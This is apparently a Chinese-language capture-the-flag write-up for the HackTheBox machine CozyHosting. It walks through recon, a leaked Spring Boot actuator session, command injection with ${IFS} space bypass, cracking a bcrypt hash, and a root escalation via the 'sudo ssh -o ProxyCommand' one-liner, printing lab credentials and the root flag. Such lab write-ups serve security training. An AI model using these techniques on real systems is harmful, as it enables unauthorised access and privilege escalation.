CozyHosting是HTB上简单难度的机器,命令执行漏洞到拿到初始Shell耗时较长。

靶场信息

完成CozyHosting需要的一些技术:

  • CMS漏洞利用
  • 命令执行常见限制绕过
  • Jar文件反编译
  • postgresql数据库基础知识

信息收集

端口扫描

Nmap端口扫描:

kali@kali ~> nmap -p- -n --min-rate 3000 -T4 10.10.11.230
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-14 08:11 EST
Warning: 10.10.11.230 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.230
Host is up (0.27s latency).
Not shown: 65506 closed tcp ports (conn-refused), 27 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 27.65 seconds

直接访问80端口,会跳转到cozyhosting.htb域名,在/etc/hosts文件中添加记录:
10.10.11.230 cozyhosting.htb

初始权限

基础探测

访问WEB首页,查看到一个登录界面:

web常见路径扫描:

kali@kali ~> ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://cozyhosting.htb/FUZZ

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://cozyhosting.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 287ms]
error [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 872ms]
index [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 303ms]
login [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 306ms]
logout [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 297ms]
render/https://www.google.com [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 333ms]
:: Progress: [4723/4723] :: Job [1/1] :: 111 req/sec :: Duration: [0:00:43] :: Errors: 0 ::

信息泄露

根据页面的报错信息,显示这是一个Spring Boot的应用系统,存在未授权访问的漏洞。

参考如下文章:

通过URI:/actuator/health成功查看到系统的健康信息:

[!TIP]
这里有一个疑问,为什么使用ffuf没有扫描到/actuator/health这个接口?

比较重要的一些信息泄露URI如下:

  • /actuator/mappings:给出了应用完整的路由信息,对其他URI用途进行说明
  • /actuator/sessions:给出了应用的Session信息
  • executessh:看名字是执行SSH命令的接口

在Session信息中,得知另一个用户kanderson的信息,通过修改HTTP请求头部,可以伪造成该用户,登录后台。

登录后台

管理后台界面:

页面下方的输入主机名和用户名信息,会通过executessh发送请求。

请求的原始报文如下:

POST /executessh HTTP/1.1
Host: cozyhosting.htb
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cozyhosting.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cozyhosting.htb/admin?error=Host%20key%20verification%20failed.
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=B33453AD63BD4BFA3BE894B18E2CC666
Connection: close

host=10.10.14.157&username=kali

测试当host为locahost127.0.0.1时,会报错;
而当host地址为本机地址时,username字段存在命令注入但不能包含空格

空格的限制可以使用${IFS}绕过。

本机搭建WEB服务,测试命令执行输出:

反弹shell

反弹shell命令在Reverse Shell Generator在线生成,大多数命令都不成功。

这里比较合理地反弹shell是什么方式?

最后使用python3的反弹shell命令,采用echo base64编码后命令|base64 -d |bash的方式执行,成功拿下反弹shell。

用户权限

linpeas as app

照例使用linpeas进行信息收集:


╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits
Linux version 5.15.0-82-generic (buildd@lcy02-amd64-027) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #91-Ubuntu SMP Mon Aug 14 14:14:14 UTC 2023
Distributor ID: Ubuntu
Description: Ubuntu 22.04.3 LTS
Release: 22.04
Codename: jammy

app 1063 1.9 11.7 3666228 471444 ? Ssl 05:59 9:55 /usr/bin/java -jar cloudhosting-0.0.1.jar
postgres 1109 0.0 0.7 218316 30340 ? Ss 05:59 0:01 /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf


╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1063/java
tcp6 0 0 :::22 :::* LISTEN -


lrwxrwxrwx 1 root root 34 May 9 2023 /etc/nginx/sites-enabled/default -> /etc/nginx/sites-available/default
server {
listen 80;
return 301 http://cozyhosting.htb;
}
server {
listen 80;
server_name cozyhosting.htb;
location / {
proxy_pass http://localhost:8080;
}
}

╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/tmp/hsperfdata_app/1063
/tmp/a.sh
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log
/var/log/syslog
/var/log/kern.log
/var/log/auth.log
/var/log/journal/957c1fc37d0245a8b74c896884a2ae36/user-1003.journal
/var/log/journal/957c1fc37d0245a8b74c896884a2ae36/system.journal
/var/log/journal/957c1fc37d0245a8b74c896884a2ae36/user-1001.journal
/var/log/postgresql/postgresql-14-main.log

这里面我感兴趣的是怎么登录Postgresql数据库,按照以往做题思路,基本用户信息都在数据库里。

一番查找、直接连接都未能登录数据库,猜测内容在cloudhosting-0.0.1.jar文件中。

从Jar包提取信息

在网络情况良好的前提下,可以直接把cloudhosting-0.0.1.jar文件下载下来,再使用jdax或者jd-gui进行反编译。

但到靶机的网络情况很差,约60MB的文件,不知道要下多久。

实际采取的方式是拷贝cloudhosting-0.0.1.jar至临时目录,直接解压缩,对题目相关的文件夹再次压缩、下载到本地进行反编译。

数据库信息在配置文件application.properties中:

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

postgresql

连接数据库,并导出用户密码:


postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-------------+----------+----------+-------------+-------------+-----------------------
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)

postgres=# \c cozyhosting
Password:
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)

cozyhosting=# select * from users
cozyhosting-#
cozyhosting-# ;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

使用John对密码进行爆破:

kali@kali ~/D/H/M/CozyHosting> john userpass.txt -w=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (admin)
1g 0:00:00:12 DONE (2023-12-14 10:20) 0.07836g/s 220.0p/s 220.0c/s 220.0C/s catcat..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到josh用户密码是manchesterunited

root权限

知道用户密码的前提下直接看sudo权限,很轻易地在GTFObins里找到提权方法,完成提权:

josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# ls /root
root.txt
# cat /root/root.txt
7db5ea9d7a36d407913561a39cf437d3
#

疑问分析

为什么使用ffuf没有扫描到/actuator/health这个接口?

进一步确认后发现,扫描字典里并没有这个目录🤣。

如下目录包含这个URI:

kali@kali ~> grep -il actuator /usr/share/wordlists/seclists/Discovery/Web-Content/* 2>/dev/null|xargs ls -alh|sort
-rw-r--r-- 1 root root 1.1M Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
-rw-r--r-- 1 root root 1.1M Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
-rw-r--r-- 1 root root 13M Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
-rw-r--r-- 1 root root 15M Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
-rw-r--r-- 1 root root 16M Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt
-rw-r--r-- 1 root root 1.9K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt
-rw-r--r-- 1 root root 40K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
-rw-r--r-- 1 root root 460K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
-rw-r--r-- 1 root root 483K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
-rw-r--r-- 1 root root 513K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt
-rw-r--r-- 1 root root 530K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
-rw-r--r-- 1 root root 937K Nov 23 13:02 /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt

quickhits.txt后续可以优先考虑,扫描结果基本都有用。

kali@kali ~/D/H/M/CozyHosting> ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u http://cozyhosting.htb/FUZZ

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://cozyhosting.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

actuator [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 273ms]
error [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 262ms]
login [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 288ms]
actuator [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 254ms]
actuator/sessions [Status: 200, Size: 48, Words: 1, Lines: 1, Duration: 266ms]
actuator/health [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 351ms]
actuator/mappings [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 351ms]
actuator/env [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 283ms]
actuator/beans [Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 303ms]
:: Progress: [2565/2565] :: Job [1/1] :: 30 req/sec :: Duration: [0:00:32] :: Errors: 0 ::

反弹shell的姿势

测试一通下来,nc mkfifo可以反连、但不能执行命令。

python3的反弹shell命令成功率更好。

总结

这个靶机总体来说简单,漏洞很明显,实际利用过程稍微有点不顺利。